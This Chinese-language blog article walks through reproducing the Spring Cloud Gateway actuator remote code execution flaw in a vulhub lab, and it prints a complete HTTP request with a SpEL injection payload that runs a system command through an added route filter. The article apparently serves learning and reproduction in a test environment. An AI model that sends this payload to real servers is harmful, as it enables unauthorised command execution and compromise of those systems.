温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

SpringCloud Gateway远程命令执行漏洞源码分析

发布时间:2023-03-16 16:13:14 来源:亿速云 阅读:106 作者:iii 栏目:开发技术

这篇文章主要讲解了“SpringCloud Gateway远程命令执行漏洞源码分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“SpringCloud Gateway远程命令执行漏洞源码分析”吧!

漏洞描述

使用Spring Cloud Gateway的应用程序在Actuator端点启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求。

当攻击者可以访问actuator API时,就可以利用该漏洞执行任意命令。

影响范围

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

环境搭建

漏洞环境搭建,采用vulhub,搭建方法,自行搜索。

搭建成功后,访问一下

SpringCloud Gateway远程命令执行漏洞源码分析

漏洞复现

1.查看actuator端点是开启的

抓包,并修改接口为/actuator

SpringCloud Gateway远程命令执行漏洞源码分析

2. 查看/actuator/gateway/routes

SpringCloud Gateway远程命令执行漏洞源码分析

返回的路由信息,意思是当访问index时,路由到http://example.com:80

3.创建路由

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.10.171:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 431

{
    "id": "test",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}

SpringCloud Gateway远程命令执行漏洞源码分析

4.刷新路由

SpringCloud Gateway远程命令执行漏洞源码分析

5.访问创建的路由

SpringCloud Gateway远程命令执行漏洞源码分析

6.删除路由

SpringCloud Gateway远程命令执行漏洞源码分析

7.再次刷新路由

SpringCloud Gateway远程命令执行漏洞源码分析

8.然后,访问该路由,发现路由已被删除

SpringCloud Gateway远程命令执行漏洞源码分析

感谢各位的阅读,以上就是“SpringCloud Gateway远程命令执行漏洞源码分析”的内容了,经过本文的学习后,相信大家对SpringCloud Gateway远程命令执行漏洞源码分析这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是亿速云,小编将为大家推送更多相关知识点的文章,欢迎关注!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI